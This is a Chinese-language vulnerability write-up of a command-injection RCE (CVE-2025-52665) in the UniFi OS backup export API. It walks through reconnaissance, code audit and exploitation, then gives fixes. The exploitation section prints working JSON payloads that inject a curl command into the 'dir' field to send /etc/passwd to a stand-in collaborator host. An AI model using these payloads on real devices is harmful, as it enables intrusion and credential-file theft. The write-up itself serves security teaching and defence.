【$25,000】CVE-2025-52665 RCE 挖掘
字数 3182 2025-11-05 23:45:18

CVE-2025-52665 RCE漏洞深度分析与复现教学

文档版本: 1.0
发布日期: 2025-11-05
目标读者: 安全研究人员、渗透测试人员、安全开发工程师

一、 漏洞概述

  1. 漏洞编号: CVE-2025-52665
  2. 漏洞类型: 远程代码执行
  3. 风险等级: 高危/严重
  4. 受影响组件: UniFi OS(特别是 UDM SE 等设备)的备份服务模块。
  5. 漏洞位置: /api/ucore/backup/export API 接口。
  6. 核心成因: 用户可控的输入参数(dir)在未经充分验证和转义的情况下,被拼接到系统 shell 命令中执行,导致命令注入。
  7. 奖金: $25,000(反映了漏洞的严重性)。

二、 环境侦察与攻击面发现

教学要点: 漏洞挖掘始于对目标资产的全面信息收集。

  1. 目标识别:

    • 通过常规网络扫描(如使用 nmap)发现目标 IP 192.168.1.1 为活动主机。
    • 浏览器访问该 IP,根据登录页面特征(UniFi OS 界面)确认设备型号为 UniFi Dream Machine SE
  2. 攻击面枚举:

    • 社区情报搜集: 研究人员没有盲目测试,而是先查阅了用户社区和论坛。这是关键一步,能快速定位可能存在问题的功能点。
    • 关键线索: 发现大量用户报告在与备份相关的操作中遇到 500 Internal Server ErrorECONNREFUSED 等错误,涉及多个组件(如 Network, Protect, UAM)。
    • 关键端点: 这些错误报告均指向一个共同的 API 端点:/api/ucore/backup/export
    • 逻辑推理: 备份功能通常是模块化的,需要核心服务(ucore)与各个子服务(如网络服务、保护服务)通过环回地址(127.0.0.1)进行通信。这暗示了内部存在一个复杂的 API 调用链。

三、 代码审计与漏洞原理分析

教学要点: 理解漏洞的根本原因需要深入分析代码逻辑。

  1. 源码获取与分析:

    • 获取目标设备的 UniFi Core 软件包,并解压分析其中的 JavaScript 文件(如 service.js)。
  2. 关键函数追踪:

    • 在代码中搜索 backup/export 相关的引用,定位到两个核心函数:YOzf
  3. 函数 YO(低级请求函数):

    var YO = async (e, t) => {
      let r = `http://127.0.0.1:${e}/api/ucore/backup/export`;
      let o = await k(r, {
        method: "POST",
        body: JSON.stringify({ dir: t }), // 【关键点】参数 `t` 被直接序列化到请求体中,无验证。
        headers: { "Content-Type": "application/json" }
      });
      // ... 错误处理 ...
    };
    
    • 功能: 构造一个指向内部服务(端口为 e)的 HTTP POST 请求。
    • 参数:
      • e:目标子服务(如网络服务)的监听端口。
      • t:备份文件输出的目录路径。
    • 漏洞迹象: 参数 t 被直接拼接到 JSON 请求体中,在此处未见任何过滤或转义。
  4. 函数 zf(高级控制函数):

    zf = async ({ port: e, outputDir: t, name: r }) => {
      try {
        // ... 前置检查(如版本验证)...
        // 决定是远程备份还是本地备份
        if (...) {
          // ... 远程备份逻辑 ...
        } else {
          await Fe(() => YO(e, t), ...);  // 【关键调用】调用 YO 函数,传入 outputDir (t)
        }
        // ... 后置操作(检查目录、修改权限 `chmod -R 775 t`、计算大小 `du -s`)...
      } catch (o) {
        // ... 错误处理 ...
      }
    }
    
    • 功能: 备份流程的控制器,负责准备环境、调用 YO 函数执行备份、并进行后续处理。
    • 关键调用: 它将 outputDir(即参数 t)直接传递给 YO 函数。
    • 漏洞链条形成: zf 函数接收到的 outputDir 参数最终会流向内部 API 的 dir 字段。
  5. 漏洞原理总结:

    • 根本原因: 外部传入的 dir 参数值,经过 zfYO 函数的传递,最终被发送到内部服务 http://127.0.0.1:<port>/api/ucore/backup/export
    • 命令注入点: 内部服务的备份处理程序在创建临时目录、打包文件等操作时,会使用 shell 命令(如 mktemp, chmod, tar)来处理 dir 参数的值
    • 漏洞触发: 由于 dir 参数在拼接进 shell 命令前没有进行有效的验证或转义,如果参数中包含 shell 元字符(如 ;, |, `),就会被 shell 解释为命令分隔符或新命令,从而导致任意命令执行。

四、 漏洞利用与复现

教学要点: 利用过程需要精确的 payload 构造和调试。

  1. 服务发现:

    • 使用端口扫描工具(如 nmap)枚举目标设备 192.168.1.1 上所有开放的端口。
    • 对每个开放的端口,发送 HTTP 请求探测 /api/ucore/backup/export 路径。
    • 关键发现: 端口 9780 返回了 405 Method Not Allowed(而不是 404 Not Found)。这表明该端口上的服务识别这个路径,只是当前的 HTTP 方法不正确(例如,用了 GET 而不是 POST)。这证明该端点可从网络访问。
  2. 构造初始 PoC:

    • 请求方法: POST
    • URL: http://192.168.1.1:9780/api/ucore/backup/export
    • HTTP 头: Content-Type: application/json
    • 请求体(初始):
      {
        "dir": "/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://your-burp-collaborator-or-webhook.site/"
      }
      
    • 利用逻辑: 使用分号 ; 终止原本的目录参数,并注入一个新的 curl 命令,试图将 /etc/passwd 文件内容发送到外部服务器。
    • 问题: 此 PoC 可能失败,因为注入命令后的原始 shell 命令语法(如 tar -cf ... /tmp/catchify-lab; curl ...)可能因路径错误或语法问题而中断执行。
  3. 优化 PoC(关键步骤):

    • 为了使命令注入干净利落,需要确保注入的命令执行后,后续的 shell 代码不会引发错误。
    • 优化后的请求体:
      {
        "dir": "/tmp/catchify-; curl -s --data-binary @/etc/passwd http://your-burp-collaborator-or-webhook.site/; #"
      }
      
    • 优化点解释:
      • ;:正常结束前一条命令(如果存在)。
      • curl ...:要执行的恶意命令。
      • ;:结束 curl 命令。
      • #将行内剩余的所有字符注释掉。这是最关键的一步,它确保了原始备份命令中跟在 dir 值后面的部分(例如备份文件名等)被 shell 忽略,从而避免了语法错误。
  4. 验证利用结果:

    • 发送优化后的 PoC 请求。
    • 检查你的外部服务器(如 Burp Collaborator、Webhook.site)的日志,如果成功,你会收到一个 HTTP POST 请求,其正文内容即为目标设备的 /etc/passwd 文件。这证实了 RCE 漏洞的存在。

五、 漏洞时间线与修复

  • 报告日期: 2025-10-09
  • 修复版本: UniFi Access 4.0.21
  • 修复建议: 对用户输入的 dir 参数进行严格的白名单验证(如只允许字母、数字、下划线和特定路径分隔符),或使用安全的编程接口(如 child_process.execFile 而非 exec)来避免命令注入。

六、 总结与安全启示

  1. 漏洞链: 外部输入 -> 内部 API 转发 -> 未过滤参数 -> Shell 命令拼接 -> RCE。
  2. 核心教训:
    • 永远不要信任用户输入: 任何来自外部的参数都必须经过验证和净化。
    • 避免使用 Shell 命令处理用户输入: 在可能的情况下,使用语言本身的内置函数来完成文件、目录操作。如果必须调用 Shell,必须对输入进行正确的转义。
    • 纵深防御: 即使内部 API(127.0.0.1)也不应完全信任来自同一机器上其他组件的输入。
    • 关注错误信息: 公开的错误信息(如 500 错误)可能为攻击者提供有价值的线索。
  3. 研究技巧:
    • 善用公开社区情报缩小攻击面。
    • 代码审计是理解漏洞根源的最有效手段。
    • PoC 构造需要耐心和细致的调试,利用注释符 # 是解决命令注入中“命令尾部垃圾”问题的经典技巧。

这份教学文档详细还原了从信息收集到漏洞利用的完整链条。希望它能帮助您深入理解此类命令注入漏洞的挖掘与利用方法,并应用于实际的安全研究或防御工作中。

CVE-2025-52665 RCE漏洞深度分析与复现教学 文档版本: 1.0 发布日期: 2025-11-05 目标读者: 安全研究人员、渗透测试人员、安全开发工程师 一、 漏洞概述 漏洞编号: CVE-2025-52665 漏洞类型: 远程代码执行 风险等级: 高危/严重 受影响组件: UniFi OS(特别是 UDM SE 等设备)的备份服务模块。 漏洞位置: /api/ucore/backup/export API 接口。 核心成因: 用户可控的输入参数( dir )在未经充分验证和转义的情况下,被拼接到系统 shell 命令中执行,导致命令注入。 奖金: $25,000(反映了漏洞的严重性)。 二、 环境侦察与攻击面发现 教学要点: 漏洞挖掘始于对目标资产的全面信息收集。 目标识别: 通过常规网络扫描(如使用 nmap )发现目标 IP 192.168.1.1 为活动主机。 浏览器访问该 IP,根据登录页面特征(UniFi OS 界面)确认设备型号为 UniFi Dream Machine SE 。 攻击面枚举: 社区情报搜集: 研究人员没有盲目测试,而是先查阅了用户社区和论坛。这是关键一步,能快速定位可能存在问题的功能点。 关键线索: 发现大量用户报告在与备份相关的操作中遇到 500 Internal Server Error 、 ECONNREFUSED 等错误,涉及多个组件(如 Network, Protect, UAM)。 关键端点: 这些错误报告均指向一个共同的 API 端点: /api/ucore/backup/export 。 逻辑推理: 备份功能通常是模块化的,需要核心服务(ucore)与各个子服务(如网络服务、保护服务)通过环回地址(127.0.0.1)进行通信。这暗示了内部存在一个复杂的 API 调用链。 三、 代码审计与漏洞原理分析 教学要点: 理解漏洞的根本原因需要深入分析代码逻辑。 源码获取与分析: 获取目标设备的 UniFi Core 软件包,并解压分析其中的 JavaScript 文件(如 service.js )。 关键函数追踪: 在代码中搜索 backup/export 相关的引用,定位到两个核心函数: YO 和 zf 。 函数 YO (低级请求函数): 功能: 构造一个指向内部服务(端口为 e )的 HTTP POST 请求。 参数: e :目标子服务(如网络服务)的监听端口。 t :备份文件输出的目录路径。 漏洞迹象: 参数 t 被直接拼接到 JSON 请求体中,在此处未见任何过滤或转义。 函数 zf (高级控制函数): 功能: 备份流程的控制器,负责准备环境、调用 YO 函数执行备份、并进行后续处理。 关键调用: 它将 outputDir (即参数 t )直接传递给 YO 函数。 漏洞链条形成: zf 函数接收到的 outputDir 参数最终会流向内部 API 的 dir 字段。 漏洞原理总结: 根本原因: 外部传入的 dir 参数值,经过 zf 和 YO 函数的传递,最终被发送到内部服务 http://127.0.0.1:<port>/api/ucore/backup/export 。 命令注入点: 内部服务的备份处理程序在创建临时目录、打包文件等操作时, 会使用 shell 命令(如 mktemp , chmod , tar )来处理 dir 参数的值 。 漏洞触发: 由于 dir 参数在拼接进 shell 命令前 没有进行有效的验证或转义 ,如果参数中包含 shell 元字符(如 ; , | , ` ),就会被 shell 解释为命令分隔符或新命令,从而导致任意命令执行。 四、 漏洞利用与复现 教学要点: 利用过程需要精确的 payload 构造和调试。 服务发现: 使用端口扫描工具(如 nmap )枚举目标设备 192.168.1.1 上所有开放的端口。 对每个开放的端口,发送 HTTP 请求探测 /api/ucore/backup/export 路径。 关键发现: 端口 9780 返回了 405 Method Not Allowed (而不是 404 Not Found )。这表明该端口上的服务 识别这个路径 ,只是当前的 HTTP 方法不正确(例如,用了 GET 而不是 POST)。这证明该端点可从网络访问。 构造初始 PoC: 请求方法: POST URL: http://192.168.1.1:9780/api/ucore/backup/export HTTP 头: Content-Type: application/json 请求体(初始): 利用逻辑: 使用分号 ; 终止原本的目录参数,并注入一个新的 curl 命令,试图将 /etc/passwd 文件内容发送到外部服务器。 问题: 此 PoC 可能失败,因为注入命令后的原始 shell 命令语法(如 tar -cf ... /tmp/catchify-lab; curl ... )可能因路径错误或语法问题而中断执行。 优化 PoC(关键步骤): 为了使命令注入干净利落,需要确保注入的命令执行后,后续的 shell 代码不会引发错误。 优化后的请求体: 优化点解释: ; :正常结束前一条命令(如果存在)。 curl ... :要执行的恶意命令。 ; :结束 curl 命令。 # : 将行内剩余的所有字符注释掉 。这是最关键的一步,它确保了原始备份命令中跟在 dir 值后面的部分(例如备份文件名等)被 shell 忽略,从而避免了语法错误。 验证利用结果: 发送优化后的 PoC 请求。 检查你的外部服务器(如 Burp Collaborator、Webhook.site)的日志,如果成功,你会收到一个 HTTP POST 请求,其正文内容即为目标设备的 /etc/passwd 文件。这证实了 RCE 漏洞的存在。 五、 漏洞时间线与修复 报告日期: 2025-10-09 修复版本: UniFi Access 4.0.21 修复建议: 对用户输入的 dir 参数进行严格的 白名单验证 (如只允许字母、数字、下划线和特定路径分隔符),或使用 安全的编程接口 (如 child_process.execFile 而非 exec )来避免命令注入。 六、 总结与安全启示 漏洞链: 外部输入 -> 内部 API 转发 -> 未过滤参数 -> Shell 命令拼接 -> RCE。 核心教训: 永远不要信任用户输入: 任何来自外部的参数都必须经过验证和净化。 避免使用 Shell 命令处理用户输入: 在可能的情况下,使用语言本身的内置函数来完成文件、目录操作。如果必须调用 Shell,必须对输入进行正确的转义。 纵深防御: 即使内部 API(127.0.0.1)也不应完全信任来自同一机器上其他组件的输入。 关注错误信息: 公开的错误信息(如 500 错误)可能为攻击者提供有价值的线索。 研究技巧: 善用公开社区情报缩小攻击面。 代码审计是理解漏洞根源的最有效手段。 PoC 构造需要耐心和细致的调试,利用注释符 # 是解决命令注入中“命令尾部垃圾”问题的经典技巧。 这份教学文档详细还原了从信息收集到漏洞利用的完整链条。希望它能帮助您深入理解此类命令注入漏洞的挖掘与利用方法,并应用于实际的安全研究或防御工作中。